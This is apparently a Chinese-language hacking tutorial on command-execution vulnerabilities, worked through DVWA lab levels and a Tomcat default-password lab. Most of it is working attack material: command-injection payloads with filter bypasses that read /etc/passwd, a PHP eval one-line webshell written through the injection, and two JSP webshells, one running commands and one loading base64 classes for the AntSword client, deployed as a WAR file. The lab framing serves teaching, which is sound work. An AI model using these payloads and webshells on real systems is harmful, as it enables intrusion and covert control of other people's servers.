RCE漏洞利用挖掘方法
- 一、从命令执行漏洞到getshell
- 二、命令执行漏洞详解
- 2.1、靶场实操—DVWA(Low级别)
- 2.2、靶场实操—DVWA(Medium级别)
- 2.3、靶场实操—DVWA(High级别)
- 2.4、靶场实操—DVWA(Impossible级别)
- 三、写入网站后门—webshell
- 3.1、PHP一句话木马
- 3.2、通过命令执行漏洞上传PHP一句话木马
- 3.3、靶场实操—DVWA(Low等级)
- 3.4、怎么使用木马?
- 3.4.1、hackbar
- 3.4.2、使用蚁剑
- 四、tomcat弱口令getshell
一、从命令执行漏洞到getshell
常见的网站漏洞有哪些?
- SQL注入:泄露破坏数据库,数据库中可能有账号密码等敏感信息
- 命令执行:获取目标机器命令权限,执行非法命令,破坏或控制受害机
- 文件上传:上传后门木马到网站中,破坏网站甚至系统
危害巨大的漏洞——命令执行
二、命令执行漏洞详解
cmd1 | cmd2
:无论cmd1是否执行成功,cmd2将被执行cmd1 ; cmd2
:无论cmd1是否执行成功,cmd2将被执行,该命令只有在Linux上可以使用cmd1 & cmd2
:无论cmd1是否执行成功,cmd2将被执行cmd1 || cmd2
:仅在cmd1执行失败时才执行cmd2cmd1 && cmd2
:仅在cmd1执行成功后时才执行
Linux常用命令:
whoami
显示当前用户pwd
显示当前路径-ls
显示指定工作目录下的内容cat
文本输出cat /etc/passwd
显示/etc/passwd
文件中存放的用户关键信息cat /etc/passwd |wc –l
数系统账号个数cat /etc/group
显示所有组文件
id
当前用户的uid,gid以及所在组groups
当前用户所在组netstat -pantu
端口信息netstat -nr
路由表及网关
2.1、靶场实操—DVWA(Low级别)
- 源码(见DVWA里View Source):基本未进行任何过滤
-
stristr(string,search,before_search)
函数:- stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
-
php_uname(mode)
函数:- 函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
- 命令执行漏洞利用
- 常用命令1:
127.0.0.1 | whoami
- 常用命令2:
127.0.0.1 ; whoami
- 常用命令3:
127.0.0.1 | ip add
- 常用命令4:
127.0.0.1 | ifconfig
2.2、靶场实操—DVWA(Medium级别)
- 源码(见DVWA里View Source):
- 采用了黑名单机制,过滤了“&&”与“;”(将其替换为空字符)
- 命令执行漏洞利用
- 只能使用“&”和“|”字符,进行拼接
- 常用命令1:
127.0.0.1 & whoami
- 常用命令2:
127.0.0.1 | whoami
- 常用命令3:
127.0.0.1 | net user
-
使用换行进行绕过
-
常用命令1:
127.0.0.1&\n&cat /etc/passwd
- 使用“&&&”和“&;&”字符,进行绕过
- 常用命令1:
127.0.0.1 &;& cat /etc/passwd
- 常用命令2:
127.0.0.1 &&& cat /etc/passwd
2.3、靶场实操—DVWA(High级别)
- 源码(见DVWA里View Source):
- 相较于medium级别,进一步完善了黑名单
- 过滤了’&’ ,‘;’,‘| ‘,’-’,‘$’,‘(’,‘)’,‘`’,'||'等字符
- 其中’| '后,有空格
2.命令执行漏洞 - 使用“&&”,“&”,“|”字符(在这些字符前后加了空格)进行漏洞利用,失败
- “|”前后无空格
- 常用命令1:
127.0.0.1|pwd
- 常用命令2:
127.0.0.1|/?in/cat /?tc/p?sswd #? 代表『一定有一个』任意字符,相当于寻找/bin/cat /etc/passwd
- 常用命令3:
127.0.0.1|/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd #使用 ’ 连接符,要注意闭合
- 常用命令4:
127.0.0.1|/b\i\n/w\h\i\c\h n\c #使用反斜杠
- 常用命令5:
127.0.0.1|''|whoami #单引号绕过
- 常用命令6:
127.0.0.1|\n|whoami #使用回车
- 常用命令7:
127.0.0.1|more /etc/passwd #使用more代替cat
2.4、靶场实操—DVWA(Impossible级别)
- 源码(见DVWA里View Source):
- 过滤“\”
- 以“.”拆分,先判断是否为四段,再断每段是否都为数字,全部成立,则执行ping命令。
三、写入网站后门—webshell
webshell是什么?
- WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
- 黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,以达到控制网站服务器的目的。
3.1、PHP一句话木马
<?php eval($_POST['cmd']);?>
#eval eval,是php的语言构造器,作用是把字符串作为PHP代码执行
#$_POST[‘cmd']以POST请求方式接收请求参数cmd
3.2、通过命令执行漏洞上传PHP一句话木马
- 上传到哪?
常用命令:pwd/dir
/var/www/html/vulnerabilities/exec - 怎么上传?
echo命令:echo "<?php eval(\$_POST['cmd']);?>" > 1.php
- 怎么访问?
http://your_ip/vulnerabilities/exec/1.php
3.3、靶场实操—DVWA(Low等级)
1、查看路径。
127.0.0.1 | pwd
2、写入一句话木马。
127.0.0.1 | echo "<?php eval(\$_POST['cmd']);?>" > 1.php
3、查看是否写入成功。
127.0.0.1 | ls
4、访问一句话木马。
5、访问成功,木马可以使用。
3.4、怎么使用木马?
- hackbar:浏览器插件,可以直接在浏览器中修改
POST data
。 - webshell管理器:如蚁剑、菜刀、Cknife,都可以自动连接。
3.4.1、hackbar
- 常用命令1:
cmd=phpinfo();
- 常用命令2:
cmd=system('ls');
- 常用命令3:
cmd=system('whoami');
3.4.2、使用蚁剑
安装蚁剑:
antSword源码:https://github.com/AntSwordProject/antSword
antSword启动器:https://github.com/AntSwordProject/AntSword-Loader
antSword官方文档:https://www.yuque.com/antswordproject/antsword/
1、添加连接。
2、连接成功。
四、tomcat弱口令getshell
Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。
1、搭建tomcat漏洞靶场。
docker-compose up -d
2、进入靶场。
http://192.168.9.148:8080/
3、进入后台管理界面。
4、使用弱口令登录。
tomcat / tomcat
5、登录成功。
6、代码一:cmd.jsp
(该js文件只能执行一些系统命令,然后打印相应的输出,无法进行连接,功能较弱,使用代码二可以进行蚁剑连接)。
<%
if("thisispasswd".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
- 代码一的执行结果(过程略):
jar cvf cmd.war cmd.jsp
http://192.168.9.148:8080/cmd/cmd.jsp?pwd=thisispasswd&cmd=ls
7、打war包。
jar cvf web.war webshell.jsp
#被打webshell.war 想要生成的war包
#web.jsp包的jsp源码
- 代码二:
webshell.jsp
(过程细)
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str)throws Exception{
try{
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch(Exception e){
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
8、上传war文件。
9、点击“Deploy”进行部署。
10、新增一个应用“web”,说明部署成功。
11、点击进行访问。
12、访问一句话木马。
13、使用蚁剑进行连接,连接密码:passwd。